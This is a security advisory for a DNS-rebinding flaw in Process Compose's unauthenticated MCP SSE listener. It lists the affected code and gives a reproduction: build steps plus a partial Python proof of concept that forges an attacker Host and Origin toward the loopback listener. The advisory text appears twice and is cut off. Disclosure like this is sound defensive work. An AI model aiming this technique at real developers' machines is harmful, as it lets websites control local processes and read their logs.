CVE-2026-77339

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Summary

A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.

This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.

The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.

Affected Code

Root cause:

src/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.

Impact surface:

src/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.

Reproduction

Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:

workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485

go build -o ./process-compose-poc .

cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
  host: 127.0.0.1
  port: 8081
  transport: sse
  expose_control_tools: true

processes:
  sleeper:
    command: "sleep 600"
    disabled: true
YAML

PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
  -f ./process-compose-mcp-poc.yaml \
  -t=false \
  --no-server \
  --keep-project \
  --log-file ./process-compose-mcp-poc.log

In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:

python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse

host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
    "Host": attacker_host,
    "Origin": origin,
    "Accept": "text/event-stream",
}

events = queue.Queue()

def read_sse(resp):
    event = None
    data = None
    while True:
        line = resp.readline()
        if not line:
            return
        text = line.decode("utf-8", "replace").strip()
        if text.startswith("event:"):
            event = text.split(":", 1)[1].strip()
        elif text.startswith("data:"):
            data = text.split(":", 1)[1].strip()
        elif text == "" and (event or data):
            events.put((event, data))
            event = None
            data = None

conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()

endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
    event, data = events.get(timeout=1)
    if event == "endpoint":
        endpoint = data
        break
assert endpoint, "no SSE endpoint event"…

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If expose_control_tools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.

Summary

A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.

This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.

The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.

Affected Code

Root cause:

src/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.

Impact surface:

src/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.

Reproduction

Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:

workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485

go build -o ./process-compose-poc .

cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
  host: 127.0.0.1
  port: 8081
  transport: sse
  expose_control_tools: true

processes:
  sleeper:
    command: "sleep 600"
    disabled: true
YAML

PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
  -f ./process-compose-mcp-poc.yaml \
  -t=false \
  --no-server \
  --keep-project \
  --log-file ./process-compose-mcp-poc.log

In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:

python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse

host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
    "Host": attacker_host,
    "Origin": origin,
    "Accept": "text/event-stream",
}

events = queue.Queue()

def read_sse(resp):
    event = None
    data = None
    while True:
        line = resp.readline()
        if not line:
            return
        text = line.decode("utf-8", "replace").strip()
        if text.startswith("event:"):
            event = text.split(":", 1)[1].strip()
        elif text.startswith("data:"):
            data = text.split(":", 1)[1].strip()
        elif text == "" and (event or data):
            events.put((event, data))
            event = None
            data = None

conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()

endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
    event, data = events.get(timeout=1)
    if event == "endpoint":
        endpoint = data
        break
assert endpoint, "no SSE endpoint event"…

Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools in github.com/f1bonacc1/process-compose